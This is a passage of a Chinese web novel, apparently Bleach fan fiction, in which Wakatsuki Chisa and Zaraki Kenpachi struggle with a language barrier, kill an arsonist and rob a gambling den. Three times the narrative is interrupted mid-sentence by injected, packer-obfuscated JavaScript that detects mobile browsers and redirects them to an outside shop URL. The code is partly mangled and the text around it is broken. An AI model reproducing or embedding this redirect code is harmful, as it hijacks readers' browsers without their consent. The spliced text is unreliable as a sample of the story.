“不合身的衣服会妨碍我们的动作,不利于战斗。等买完新衣服后,我们继续下一单黑吃黑吧!我还没试刀……不对,杀鸡焉用牛刀,一味依靠武器之利,只会变成像刚才那家伙一样的废物!树枝,啊不,我从树林里带出来的武器还在原地吗?不会被别人捡走了吧?” 若月千纱脸色一变,如风一般刮向门外。 更木剑八听到关键字,耳朵一动,眼睛里恢复了神采。 “还好还好,这根树枝这么细,没人看得上眼,掉在地上都没人捡……剑八?” 若月千纱一进门,就看到更木剑八摆出了战斗姿势:“我们继续!” 屡败屡战,永不言弃,这便是更木剑八。 若月千纱把宝贝地从门口捡回的树枝往地上一丢,姿势一摆,战意勃发:“来战!……暂停,我们先把活动空间清出来。” 看着屋内在刚才的打斗中毁于一旦的桌椅,她悻悻然缩回手,撸起袖子,把损坏的桌椅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13035180|135753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扔出门,开始整理房间。 屋里本就狭窄,东西又多,他们战斗起来哪顾得上那些东西,容易殃及池鱼,她不希望再拆一回家。 她将外间整理出来,作为专门的训练室。而后,两人如愿以偿地进行了对练。 在新的地盘上,他们第一次在温暖的床上入睡。 次日,若月千纱把钱袋子里的环汇总到一起,腰间别着短刀,手里拿着树枝,和更木剑八一起出了门。 门外,精壮男子已不见踪影。 两人对他的去向漠不关心,一心寻找布店。 这里店铺不多,布店也少,两人沿着街道走了许久,才找到一家。 店里的布料颜色多为素色,少有装饰纹样,质量较为粗劣,不够柔软顺滑,不过还算结实耐磨,不至于粗糙到磨破皮肤。 这个地区的经济条件明明白白地摆在那里,若月千纱要求不高,只要缝制出来的衣服尺寸合适、方便行动就行,并不过分追求华丽的衣裳。她有这张脸在,胜过万千华服,穿什么样式的衣服不好看呢? 这等布料底子,就算加上手工裁缝费,估计价格也贵不到哪里去。 若月千纱掂了一下钱袋子沉甸甸的重量,心中不慌。 虽说她初来乍到,对它们的购买力一无所知,但怎么着都够定制两套衣服吧?它们可是精壮男子的一大半铸币积蓄呐。 若月千纱矬子里拔高个,拿起一匹质量稍好些的布料放在柜台上,清了清喉咙,第一次和更木剑八以外的人正式交流。 “老板,请您给我和这孩子量体裁衣,我们要用这种料子各自定制一套衣服,价格好商量。我们急着要,衣服的款式可以简单些,您能赶在今天之内把衣服缝制出来吗?我们可以多加一点钱。” 店主表情迟疑:“您在说什么?我听不懂。” 少女的发音似是而非,听起来像是日语,她听得懂其中几个词,但连在一起又不成连贯字句,似乎不是她熟知的词义,着实令人费解。 若月千纱心下一凉,僵在当场。 店主的发音听起来像是日语,但又和她熟知的日语语法大不相同,重合度很低。她依稀能猜出她话里的意思,却又不敢肯定。 记忆倒带。她回想起多年前她在夜里追逐更木剑八时,在她多番威吓下明显被吓到却不曾按她说的话去做的两个屋主,以及她询问更木剑八的线索时,无数次信誓旦旦地向猎物承诺却从不曾得到过他们的答复…… 糟糕,他们是不是根本没听懂她说的话,才没给出她想要的回应吧? 此外,她还想起昨日被更木剑八放倒的家乡口音重到她听不懂的卖水摊主,他的发音和面前的布店老板如出一辙。 呵呵呵,经过大脑的光速分析,她和他们语言不通的可能性超过80%呢。 她终于记起被她遗忘许久的系统,倏地转头朝它吼道:“智障系统,你又坑我!?我会说的语言和这里的不一样!?” 20.第二十章 蓝紫色蝴蝶忽闪忽闪地拍着翅膀。 更木剑八见过几次她对着空地发癫的偶发性行为,见怪不怪,早已习惯将她的胡话当成耳旁风,任它左耳进右耳出,不在脑内停留。但不知怎的,这一次他感觉有一股凉气沿着他的尾椎骨往上窜,冻得他的大脑都蜷缩起来,让他激灵灵打了个冷颤。 体内警钟长鸣,他迅速摆出战斗姿势,严阵以待。然而,他左顾右盼,始终找不到危机的源头,脑袋上冒出无数的小问号。 店主见她无故发疯,吓了一跳,想把她赶出店。她刚想张口,目光扫过她手中鼓囊囊的钱袋,闭紧嘴巴,露出营业笑容。 只要她愿意掏钱,又不伤害自己,谁管她发不发疯呢。 若月千纱宣泄完情绪后,回过头,表演了一回变脸绝技。 她面带微笑,如同牙牙学语的幼儿般,轮流指向自己和更木剑八,拍了拍柜台上的布料,竖起两根手指屈了屈指节示意,一个词一个词往外蹦:“我们,这个,裁缝,全身,衣服,懂?” 她发现,他们各自使用的语言中有些单词读音一致,或许词义也一样,只要不将它们连词成句,反倒有可能将她的意思传递给对方。 未免店主不理解她的意思,她还辅以肢体语言,连比带划。 这一回,店主看懂了,也听懂了。 她连连点头:“可以。” 若月千纱从钱袋子里掏出一大把钱,往柜台上一放,指了指它们:“钱,多少?拿。骗人,死。” 她甜甜地笑着,收回右手,握住腰间的刀柄,将刀身抽出刀鞘数寸。 冰冷的金属刀刃暴露在空气中,闪烁着凛凛寒光。 店主伸向钱的手微微一抖,规规矩矩地从里面挑拣了一些环,陪笑道:“我做的是良心买卖,童叟无欺,不会骗您。您要我们裁衣,所以价格会高一些。只要三天,我就能帮您把两套衣服做出来。” 她说话流利,语速很快,若月千纱没听明白。不过,看店主的神情,她知道自己的做法奏效,对方不会把她当成肥羊狠狠宰一顿了。 她满意地点了点头,刀刃归鞘。而后,她挑出和店主拿走的环相等的钱往店主面前一推,竖起一根食指:“加急费。” 店主愣住了,表情有些迷茫,似乎不太确定她说的话是什么意思。 这里没有加急费的用词吗? 若月千纱改口道:“一天,奖赏。” 店主脸上迷茫尽消,喜形于色,把追加的钱收下,点头道:“一天之内完成吗?没问题。” 交易成功。 若月千纱把剩下的环收回钱袋子,拉着更木剑八,让店主为他们量尺寸。 更木剑八一直没找到危机感源头,警戒解除。但不知为何,他心底隐隐有股说不清道不明的不祥预感。 若月千纱知道更木剑八不是能老老实实在店里待一整天的人,量完身体尺寸后便将他带回暂居地,打算等晚一些再去取衣服。 回到家,关上门,若月千纱朝更木剑八跪下,来了个标准的土下座:“对不起,剑八!” 更木剑八歪了歪脑袋:“啊?” 若月千纱双手撑地,抬起身体瞥了眼更木剑八,视线迅速飘向一旁。她右手蜷缩起三根手指,大拇指和食指之间空出一点缝隙,声音发飘:“就是……那个……我之前教你的语言,有一点点……” 做完这个动作后,她更觉心虚。更木剑八有多讨厌学习,她再清楚不过。闹出这么个大乌龙,她责任重大。用这个形容词轻描淡写地把问题一带而过,她的良心有点痛。 她重新组织语言,双手合拢,旋即拉开极限距离:“咳咳,老实说,是有亿点点不太对头……所以,你大概要重新学习语言,特别是语法……但是别怕,这次有我陪你一起学!” 心中若隐若现的不祥预感瞬间引爆,震得更木剑八头晕目眩。 他连退几步,弓起身体,全身炸毛:“我不学!” 天知道那几年他是怎么熬过来的!若不是刚开始她硬逼着他学,后来又拿着战斗奖励的胡萝卜吊着他,他早就有多远逃多远了! 事到如今,他好不容易学有所成,脱离学习的苦海,她又在胡说些什么?他才不接受呢! “可是,这大概由不得你我……你刚才也看见了,我和店主之间的沟通有多困难。这种简单的交流都成问题,日后就更不用说了。今后和人对战,你想一直当哑巴聋子,不和对手进行对话吗?” 若月千纱选错了例子,她的话说服不了更木剑八。在80区待久了,他根本没有对外交流的欲-望。 更木剑八意随心动,身体转向房门,大有她强逼他学习,他便夺门而逃的架势。 更木剑八想要逃跑?这还得了? 他们之间关系奇特,能结伴同行到现在,殊为不易。若是打破他们之间微妙的羁绊,他们或许将形同陌路,再也回不到现在的关系。 若月千纱见势不妙,只得妥协。 她话锋一转,好声好气地哄道:“好好好,你不想学就不学呗,我来学。反正我们一直在一起,我可以当你的现场同声传译,让你和别人畅聊无阻!” 什么同声传译,更木剑八是不懂的,但是“不学”两个字他听得一清二楚。他转回脑袋,半信半疑:“一言为定?” 若月千纱眯起双眼,笑语嫣然:“一言为定,我们击掌为誓!” 几年相处下来,若月千纱在更木剑八那里积攒了不少信誉,说话颇有分量。他相信她的誓言,伸出了双手:“一言为定!” “啪!”两人双手击掌,订立了誓约。 更木剑八定下心来,缩回蠢蠢欲动的脚。 两人在训练室里时而各自训练,时而对练。 夕阳西下,他们再度前往布店,一起换上了新衣裳。 若月千纱动了动手脚,蹲下站起,颇觉满意:“挺合身的。这家店的裁缝手艺不错,我们再买几套衣服备用吧。” 在购置新衣服期间,她趁机向老板打探消息,想要找个老师专门学习一下这里的语言。 在教导更木剑八的几年时间里,她深有体会——学习,就该找专业的人。半吊子只会把简单的问题复杂化,害得学生苦不堪言,譬如她。 人流往来的店铺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13057931|135753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向来是消息最为灵通的地方,布店亦不例外。客人来布店购买布料,免不了开口询价乃至砍价。店主为了拉生意,自然要和客人多聊几句拉近关系。一来一回,客人不免多说几句。话匣子一打开,店主知道的消息就多了。 她掏钱掏得爽快大方,店主想要留住她这个回头客,也不藏藏掖掖,一五一十地把自己所知的消息告诉她。 在艰难的交流中,若月千纱得知了一个私塾老师的住址。她捧着店主画给她的简略地图,不胜感激,多给她一些环作为情报费。 见她这么上道,店主非常满意,对她的态度变得更加热情。 更木剑八对她们的谈话毫无兴致,百无聊赖,蹲在店门口看行人,时而站起时而蹲下,不知道在干什么。 若月千纱办完事情,和店主道了别,走到门口把更木剑八拉起来:“手痒了?走,我们去做第二单生意!” 她原本打算只在这里歇上一两天,买到合适的衣服,带上一些盘缠,就和更木剑八继续往南方走,找个居住环境更好的地方定居,正式开启他们的黑吃黑“事业”。 然而,计划赶不上变化。语言的巨大差异让她暂时放弃动身的念头,决定等学好语言后再启程。 想要将扎根于脑海中的语言纠正过来,想必是个漫长的过程,他们必须在此地生活一段不短的时间。为重新填变得干瘪的钱袋子,她得将计划提前。再说了,她也好奇得很,凭自己现在的战力,是否能在这里站稳脚跟? 提起这个,更木剑八可不无聊了:“走!” 屋外,天色微暗,路上的行人寥寥无几。他们行色匆匆,似乎想赶在夜幕沉沉之前回到自己的小屋。和80区的情况相似,哪怕有照亮方寸之地的灯笼,这里的居民也不太敢在夜里出没。 “所以,在黑灯瞎火的晚上仍到处晃悠的人,多半就是我们的目标。他们胆敢在青天白日里烧杀抢掠,在夜里就更加肆无忌惮了,那正是他们的狂欢时间呢。”若月千纱抿唇一笑,“怎么可以独享夜晚呢?独乐乐不如众乐乐,让我们一起加入狂欢的队伍吧!” 昨天夜里,她可是被门外的动静惊醒过几回,透过窗户看到了一些有趣的画面呢。 想对他们动手,决不是因为他们扰人清梦哦。 更木剑八面露嫌弃:“你最近越来越啰嗦了。想打架就打架,说那么多话做什么。” “谁让你跟闷葫芦似的,一天到晚只懂得嚷嚷着打架。你不爱说话,我就替你多说一些呗。” “别赖我,话痨。” “臭小子,我教你这些词汇是让你来吐槽我的吗!?” “我说的是事实。” “你……嘘——” 若月千纱竖起食指抵在嘴唇上,示意更木剑八闭嘴。 他们才在街上乱转了一小会儿,天色已彻底暗沉下来,唯有清冷的月亮洒下一抹微光。 在他们前方,散发着一道比柔弱的月光更亮的光源,有一个人正形单影只地走在路上,形迹可疑。 他的手上提着灯笼,肩上挑着竹筐,一副要去赶夜市的模样。但问题是,这里并没有夜市。 21.第二十一章 他独自一人想前往何方?那个竹筐里又放着什么东西呢? 若月千纱被挑起了兴趣,扯了扯更木剑八的衣袖:“看到那个人没有?我们跟上他。” 更木剑八瞟了瞟那人背影,摩拳擦掌:“他是目标?只有一个人,你别跟我抢,他归我了!” “哎,别急啊!一个人有什么好黑吃黑的?看他那副吃力的模样,可见竹筐里的东西不轻呐。大半夜的独自出门,又鬼鬼祟祟地挑着这么重的东西,那个人大概率不是好人,十有八-九是去见同伙干坏事吧?只要跟着他,我们定能顺藤摸瓜,找到最终目标!到时候就看各自本事,还怕练手的人少么?” “好!” 两人达成一致意见,怕自己的脚步声会惊动那人,远远地跟在他的身后。 他们不怕跟丢人。灯笼的光源和投射在地面上被拉长的倒影如同移动锚点,指引着他们跟踪的方向。 在男子拐弯时,他的脸有一瞬间暴露在光芒之中。但由于他们距离较远,灯笼的光芒又摇曳不定,她始终没能从明暗不定的光影中看清他的脸。 若月千纱对男子的长相不感兴趣,没有放在心上,只顾着尾随他。 男子走了一段路后,突然停下脚步,做了个弯腰的动作,把什么东西丢进竹筐里,直起身子,蹑手蹑脚地前进。 若月千纱把目光投向他光着的双脚,看着他奇怪的举动,歪了歪脑袋。 这般小偷上门的即视感是怎么回事?他不是去见同伙吗? 事实证明,她猜错了他的目的。 只见男子停在一间屋子前,将竹筐里的干草枯叶倒在门口,取出灯笼里的蜡烛,点火。 天干物燥,火舌舔着干草枯叶,噼里啪啦地燃烧起来,壮大成大火团,又瞬间蔓延到木屋子。 好家伙,这人竟是来放火的!她该做些什么?灭火?救人?抓人?吃瓜看戏? 若月千纱只是愣了一下,火势已势不可挡。 她往着火的地方多看了两眼,惊觉不对,抖着声音问道:“……剑八,你有没有觉得,被点燃的房屋有点眼熟?” 当然眼熟啦,他们在这个屋子里住了两天! 灭火是不可能灭得了的,火势那么大,这个房屋注定要化成灰烬。 若月千纱双眼冒火,倏地扭头,看向站在房屋几步远处狞笑着的男子。 亮如白昼的火光照亮了他的脸——她认得他,他是被他们鸠占鹊巢的房屋原主人。 他来向他们寻仇,想要在夜里烧死他们! “死吧,死吧,死吧!”他摩挲着右手的断指处,面目扭曲,紧盯着熊熊燃烧的木门,笑容疯狂,“燃烧吧,哀嚎吧,化作焦炭吧!” “不好意思,打断你的美梦了。”若月千纱如鬼魅般出现在他身旁,将他反锁双手,压倒制伏,用膝盖顶住他的后背,动作一气呵成,“你选错了时间,我们活蹦乱跳着呢。” 男子拼命转动脖子,看清了她的脸,眼珠子一转,又看到了更木剑八,震惊不已:“你们为什么会在这里!?” 他的表情丰富多彩,就算听不太懂他的话,她也看懂了他话里的意思,莞尔一笑:“你选错时间啦。如果你耐心一点,再等几天下手,我们说不定会如你所愿,被火势困在屋子里出不来呢。你怎么能不确认一下我们在不在屋子里,就直接放火呢?” 她的眼中已看不到之前的怒火,平静极了。 他们干的是黑吃黑的勾当,对方有复仇的自由。她狠不下心斩草除根,自然要承担起纵虎归山的后患。无论对方做出怎样的报复,都是她自找的,她有什么好生气的呢? 男子听不懂她说的话,一脸震惊已转为愤怒。他记得少女的脸,她是那根断指的始作俑者,趁着他昏迷时切断他手指的卑鄙小人! 他怒吼道:“上次乘人不备,这次暗中偷袭,只会耍阴招的X人!哼,不在屋子里又怎么样?看我怎么反制你,把你丢进火里去!” 男子蓄劲发力,想要将若月千纱掀翻。 男女天生体格有差,他的力气不是区区一个弱质女流可以抵挡得住的! 他一个鳄鱼转身——没转动。 若月千纱牢牢地压制住他,又给了他一个手刀:“太吵了。” 那么,该怎么料理这个送上门来、害得他们今夜无处栖身的复仇者呢? “一报还一报,我理解并接受你的复仇。但相应的,你也得承担起失败的后果。别以为我会像上次那回稍作惩戒后便放你一马,我可不是什么好人呐。”若月千纱朝翻涌的火焰瞥去一眼,放弃了以其人之道还治其人之身的想法,“要是直接把你扔进火里,我今后一定会再次做噩梦吧。为了睡眠着想,我就大发慈悲,让你无痛投胎吧。不用感谢我。” 说着,她手起刀落。 剧烈的疼痛感将男子从昏迷中唤醒。他瞪大双眼,双手抓向了扎进喉咙的异物。 “啊,抱歉抱歉,没想到这把刀有点钝,害我力道使得轻了些。放心,没有第三次,这次我一定用力些,让你彻底解脱。” 打刀起了又落,男子没了声息。 若月千纱抽回刀,驾轻就熟地在男子的衣服上拭了拭刀身:“诶,不对,我们是魂魄耶,二次死亡后还能投胎吗?剑八……” 她一回首,便看到更木剑八站在燃烧的房子边上,正目不转睛地凝视着肆虐的火焰。 她急忙走上前去,伸出手拉住他的后领,把他往后拽:“别站太近,小心被火舌燎到。这就是我说过的火焰,很壮观吧?” 原本的小小火苗吞噬了一整个房子,成长为庞然大物。它在黑夜里摇曳着身体,翩翩起舞,璀璨夺目,散发着无穷的火光和热量,是80区无缘得见的景象。若非房屋之间隔着段距离,今夜的风也不大,他们或许能看到一条横卧在街道上的火龙。 “它和你画得一点也不像。” “都说我画的是简笔画啦,意会就行!别盯着它看太久,眼睛会瞎掉。” 更木剑八移开视线,眨了眨眼睛:“眼睛好干。” “这里那么热,水分蒸发了嘛。走了,赶紧去找第二单生意,不然晚上我们没地方睡觉啦。” “哦。” “我就算了,你的反应怎么也这么平淡?看到我们住的房子被烧掉,你就没有一点感想吗?” 更木剑八满脸茫然:“啊?” “……不愧是你,身外之物尽皆浮云吗?我可不像你这么豁达。想到屋子里剩下的那两坛子水,我就……” 若月千纱攥紧拳头,一脸的肉疼。 她刚刚想起来,房子里放着两坛她省吃俭用才攒下来的珍贵无比的水!早知如此,她昨天用水时就不用那么精打细算,出门前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她朝更木剑八竖起大拇指:“好耳力,你找对地方了。” 更木剑八听懂了她的意思,咧嘴一笑,横冲直撞地闯向赌场。 若月千纱跟上他的脚步,和他一起在聚集了二三十个大汉的屋子内闪亮登场。 她热情地朝四面八方的赌徒们微笑道:“亲爱的朋友们,赌博多不好啊,伤身伤神伤人伤财伤人性。我这个人一向乐于助人,今夜特意来帮助你们戒赌啦!” 外头冷不丁闯进来两个与现场格格不入的孩子,一个是花容月貌的少女,一个是乳臭未干的稚儿,一屋子彪形大汉不由得愣住了。沸反盈天的赌场里顿时鸦雀无声,落针可闻。 少女的声音便是在此刻响起的,清晰地传入每一个人耳中。 ——可惜,挑衅也好,嚣张也罢,若月千纱不过是在鸡同鸭讲,无人听得懂她的意思。 不过,待她开口后,一时间意外静默下来的赌场重新沸腾起来。 “漂亮小姑娘,你和你弟弟是不是迷路了?来叔叔这里,叔叔送你回家,啊?” “呸,就你这小身板,能保护好他们吗?女娃娃,看到没有?叔叔的肌肉比他壮实多了!你跟叔叔走,绝对安全!” “混蛋,想吃独食?滚!” “见者有份,要玩大家一起玩,谁都别想占便宜!” “哎,你们几个吵什么吵,小心把人吓跑了!” “人都进来了,还怕她跑了么?” “把小丫头抓起来,杀掉那没用的小子!” “别,留着他当人质,那丫头说不定会乖乖配合我们,嘿嘿嘿——” 赌徒们撕开和善的面具,目露垂涎之意,笑容猥琐。他们默契地散开,包抄他们的后路,把天降的馅饼围在中间。 22.第二十二章 若月千纱听不懂他们的话,但她感受得到流连于她身体的下流视线,更看得懂他们令人作呕的露骨眼神。 她笑得更甜了:“哎呀,看来大家戒赌的意愿很强烈嘛,竟然这么迫不及待……啊,剑八,你又抢跑!” “谁让你这么啰嗦!” 更木剑八对面的大汉见他发起攻击,哈哈一笑,漫不经心地伸出手去抓他的拳头:“哟,小小年纪就懂得保护姐……啊——” 蓄力一拳击打在大汉防备不足的手掌上,只听咔嚓一声,一股意想不到的巨力摧枯拉朽地折断了他的手臂。 大汉发出惨叫,抱着手臂跪倒在地,身体弓成一只大虾。 其他人完全不把姐弟俩放在眼里,误以为大汉最近身体差才失了手,嘻嘻哈哈地嘲笑他:“你这几天被谁掏空了身体?虚成这样。” “竟然被小娃娃打得哇哇大叫,丢不丢脸?” 若月千纱不甘落后,抓住身旁一个壮汉的胳膊,来了个标准的过肩摔:“我也来!” 更木剑八一个凌空飞踢,将一个大汉踢飞。 一次失手可以当成意外,那接二连三的失败呢? “这两个孩子有古怪,别轻敌!” 赌徒们终于抛开轻视之心,一窝蜂挤上前去,认真应敌。 “来得好!打固定人形靶多没意思啊!” 若月千纱的肾上腺激素狂飙,整个人兴奋不已,不再收敛实力,和周围的赌徒们混战起来。 她以寡敌众,四面受敌,虽游刃有余,但为了兼顾攻击和防御,无法时刻关注更木剑八的情况。她只能时不时扫视一下另一处由人高马大的大汉们组成的包围圈,粗略观察那里的动静,特别留意那些人有没有手持武器。 她和更木剑八对练过无数回,深知他的实力。别看他年龄稚嫩,身材矮小,他的身体看似柔弱不堪,实则非常结实,比她更加抗揍,灵活度也更高。而且,他是个会在打斗中成长的战斗天才,遇强则强。 只要不出现会使更木剑八缺胳膊断腿乃至殒命的危机,她一般不会去插手他的战斗,以免扰了他的兴致,让他失去成长的机会。倘若情况有变,她会视情况判断自己的出手时机。 赌徒们认了真,却依然没打倒那两个不速之客——姐弟俩利用人多地小的地形,让他们互相牵制,无法使出全力。 “离我远一点,你的手肘差点打到我了!” “你们小心,被他们躲开后别误伤对面的人!” “哎哟,后面的人别往前挤!” 赌徒们乱哄哄地叫着,如同一盘散沙,配合度极低。他们手忙脚乱,纷纷喊道:“人太多了,散开一点!一次性别上去太多人!” 若月千纱和更木剑八的对手从多人削减到两三人,压力反而增加了一些。 “好样的,我就喜欢全力以赴的战斗!” 若月千纱脸颊飞红,两个小酒窝在灯光下颜色更深。 她笑得越甜,下手越狠。和她交手的大汉们越打,心里越是恐惧:“这女的怎么强得和妖怪似的?” 他们以多打少,占尽了人数优势打车轮战,一人暂时脱离战局便由另一个人接替上,好不容易才打到她两三下。然而,那几下似乎没打实,被她不痛不痒地接下了,没见她呼一声痛或皱一次眉。反观他们,几乎全被她撂倒过,甚至还有一个人彻底失去了战斗力! 而另一边也响起了惊恐的叫声:“这小鬼是不死之身吗?他挨了那么多下,为什么还没倒下!?” 有个赌徒灵光一闪,出声喊道:“抄家伙上!他们的拳脚硬不过木棍!其他人到门口去,腾出地方,别伤到自己人!” 他的话点醒了待机中的赌徒们。他们纷纷抄起了木棍,一拨人去接替正在战斗的同伙,一拨人退到门口堵着路,握紧了木棍,虎视眈眈地盯着姐弟俩。 若月千纱见对手鸟枪换炮,担心更木剑八吃了武器的亏,朝他那里瞥去一眼,隔着衣服摸了下藏在怀中的短刀。 打刀不易隐藏,带出门太过招摇,容易吓跑敌人,她不喜欢随身携带,只藏了短刀在怀中,以备不时之需。 能够在无序之地占据一片地盘,这群赌徒的实力当然不算太差,够格给她当练手沙包、给更木剑八当升级的垫脚石。不过,也仅此而已。她怕真刀一出场,逐渐丧失胆气的他们会落荒而逃,这场酣畅淋漓的战斗会就此落幕。 可是,若她不出手,她怕更木剑八有什么闪失。他没有和持兵者混战过,几根木棍同时招呼过来,她担心他招架不住。 “你们躲远点,我先来!”一个赌徒朝若月千纱亮出木棍。有武器撑腰,他的胆气触底反弹,甚至变得猖狂起来,敢于向她单挑。 诶?他们决定改变战斗方式,不再多对一了吗?若月千纱下意识看了更木剑八一眼,发现他的对面也只剩下一个对手。她的嘴角一挑,笑意渐深。 警报解除。 “你们真是舍己为人,特意上赶着给我们送经验值来了,真让人感动!为了报答你们,我下手会轻一点儿的,请务必坚持得久一点!” 他们正好借着这场战斗来刷一刷空手接白刃的熟练度! 新一轮战斗开始。 武器赋予赌徒们的信心很快就降到了谷底,比退潮还快。 刚开始,姐弟俩确实受武器所制,打得有些缚手缚脚。然而,没过一会儿,他们便习惯了木棍的攻击,动作的灵敏度不断回升,即将回到原点。 “该死!一个人不够,再加两个人!” 三个人拿着木棍群殴他们?就算是若月千纱,也觉得相当棘手,更何况更木剑八。 “啧,玩不下去了,小命要紧……”若月千纱的眼睛瞄到某样东西,脑子一动,伸向怀中的手停了下来,眉飞色舞,“啊哈,游戏继续!剑八,你再坚持一下,我立即把局势扭转回来!” 她的周围只有三个人和她缠斗着,其余人怕被卷入战斗中碍手碍脚,和她拉开了一段距离。 她想要突破三人的包围圈,难吗? 答案是否定的。 若月千纱当即虚晃一枪,脱离战斗,奔向她的目标。 赌徒们误以为他们迎来胜利的曙光,振奋不已。 “她怕了!大家快追!” 若月千纱不受干扰,飞快地熄灭角落的一盏行灯,奔向另一盏。 赌徒们情绪激昂,亢奋过头,没在意她的小动作,只顾着追杀她,没发现屋子里的光线黯淡了一分。 若月千纱且战且逃,所过之处,行灯一盏盏熄灭。 屋里的光线暗得太快,赌徒们终于发觉不对,躁动起来:“保护好行灯!” 可惜,若月千纱的行动太快,而他们又发现得太晚。 行灯驱散的黑暗重新笼罩住这个屋子。屋内黯淡无光,只能勉强看到模糊的人影。 若月千纱在黑暗中微笑:“来,我们继续。” 赌徒们已经占尽了人数和武器的便宜,总不能让他们处处占优。她和更木剑八不知摸黑对练了多少回,在黑暗中战斗对他们来说习以为常,不知道对手有没有这个本事? 答案是——没有。 失去清晰的视野后,赌徒们和拔了牙的老虎似的,战斗力直线下降,不堪一击。 “……不是吧,这还让我们怎么享受战斗?结束了结束了,一面倒的战斗一点也不好玩!把你们身上的钱全部交出来,我就饶你们一命!” 若月千纱抢下一根木棍,把一个个争先恐后向外逃窜的赌徒赶回屋里。他们缩成了一只只鹌鹑,瑟瑟发抖地向她讨饶:“对不起,我们错了,求您饶命啊!” 语言不通就是不方便。谁知道他们在嚷嚷什么话呢?聒噪。 若月千纱举起木棍,使劲往地上一杵。 “咚!” 赌徒们身体一抖,闭上了嘴。 若月千纱威武一声吼:“钱!命!” 她的话言简意赅,赌徒们都听懂了。他们纷纷掏出钱袋子,双手奉上。 若月千纱收走战利品后,喝了声“滚”,他们便如蒙大赦,一瘸一拐地逃出屋子。 若月千纱在一片狼藉的屋内找到一盏在混战中勉强存活下来的行灯,点亮。 在昏暗的灯光下,鼻青脸肿的更木剑八正露出一脸餍足的表情。 “你呀你,都被打成什么样子了,还笑?”若月千纱走到更木剑八身边,仔细检查了一番他的身体,发现他的伤势看着惨烈,实际上只是皮肉之伤,便安下心来,嗔了一句,把门关上,“怎么样,今晚这场架打得过瘾吗?” “嗯!” “实不相瞒,我也打得很爽……嘶——这些人下手真狠!一点都不懂得怜香惜玉!” 若月千纱用脚拨开地上散落的尸魂界通用货币“环”和钱袋子,躺下,龇牙咧嘴地撩起袖子,露出白玉般的胳膊,上面的几团淤青格外刺目。 “嘿嘿嘿,我的表情管理很到位吧?那些人估计把我当成刀枪不入的金刚了。那种震惊的表情,无论看多少次都不会觉得腻味呢!啊,好累,今晚在这里将就睡一夜吧……zZZZ——” 若月千纱眼睛一闭,三秒入睡。 更木剑八学着她的举动,跟着躺在地上睡觉。 月升月落,旭日高升。 若月千纱带着累累硕果,和更木剑八一起离开了赌场,找到一个隐秘的新住所安顿 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命悬一线又如何?那是他们选择的生活方式,他们乐此不彼,不曾就此停手。待他们养好伤后,他们便闭关修炼数日,重新找上门去,屡战屡败,屡败屡战,坚决贯彻落实他们的行动,直至将难啃的骨头啃进肚子里。 在黑吃黑的过程中,他们积攒的财富越来越多,生活水平蹭蹭往上涨,一跃成为那片地区最富裕的人家。 值得一提的是,不知不觉中,这一片地区的治安逐步好转。近日,他们上街时,街上一片风平浪静,地痞流氓、盗贼抢匪皆销声匿迹,导致他们的生意关张了好一段时间。毫无疑问,这里变得更加符合“良好的生活环境”的标准。 然而,系统任务一直处于未完成状态。 “事实证明,上限摆在那儿,草鹿区的生活条件再优渥,也达不到系统的判定标准,这里不是我们的终点。我们向1区前进,去寻找更好的生活和更强的对手吧!” 若月千纱的语言库早已更新完毕。她扔掉在积年累月的训练中沦为废铁的打刀,决定和更木剑八迈上远行的道路。 他们不知道,当他们离开后,无数人弹冠相庆。 “太好了,那两只乱咬人的该死的疯狗终于滚蛋了!从今以后,我们不用再忌惮他们不死不休的纠缠,偷偷摸摸地在他们看不到的地方行动了!” 79区从来不是安居乐业的地方。治安好转?不存在的。若月千纱和更木剑八恶名远扬,那些人只是担心被他们盯上,不敢在他们眼皮子底下犯事,怕被疯狗缠上罢了。 若月千纱留下被掩盖的真相,和更木剑八顺利地穿越过79区和78区之间的无形壁障,继续向77区挺进。 “剑八,你有被魂葬前的记忆吗?” “魂葬?” “对哦,你还听不太懂这里的语言。老师说过,魂葬是死神工作。他们会用斩魄刀的刀柄底部接触灵魂的额头,将现世的魂魄送来尸魂界。我们应该都是在现世死后,被魂葬过来的灵魂。” “没有。” “也对,我们初见时,你才丁点大。过早夭折,怎么可能会有记忆呢。可是,为什么我也没有魂葬前的记忆?你说,我是不是遇到了一个没轻没重的新手死神,他敲得太用力,把我的记忆都给敲散了?” “不知道。” “我觉得,这十有八-九就是真相。我要投诉那个死神!啊,我没有记忆,不知道那个死神长什么样……可恶!” “……” “听说死神举行魂葬仪式时,还会安抚灵魂,说是引导他们来尸魂界过幸福生活的。这是赤-裸裸的欺诈!80区简直就是人间地狱!虽说灵魂是随机分配到各区的,我们属于最倒霉的那波人,但倒霉鬼也是有人权……魂权的!虚假宣传达咩!” “到了。” 更木剑八打断了若月千纱喋喋不休的抱怨。 在他们前方,是他们见过两回的景象。能穿过屏障的人少之又少,但总有人不肯放弃,在无形屏障前做徒劳的尝试,一次又一次。 若月千纱和更木剑八保持匀速前进,打量着其他人脸上愤懑的神情,叹息道:“真可怜。魂葬好比二次投胎,拼的就是运气。运气好的享福,运气差的受苦。只要被投放到分配的地区,大多数人终其一生都无法走出去,画地为牢似的。也不知道无形屏障是怎么筛选人的……” 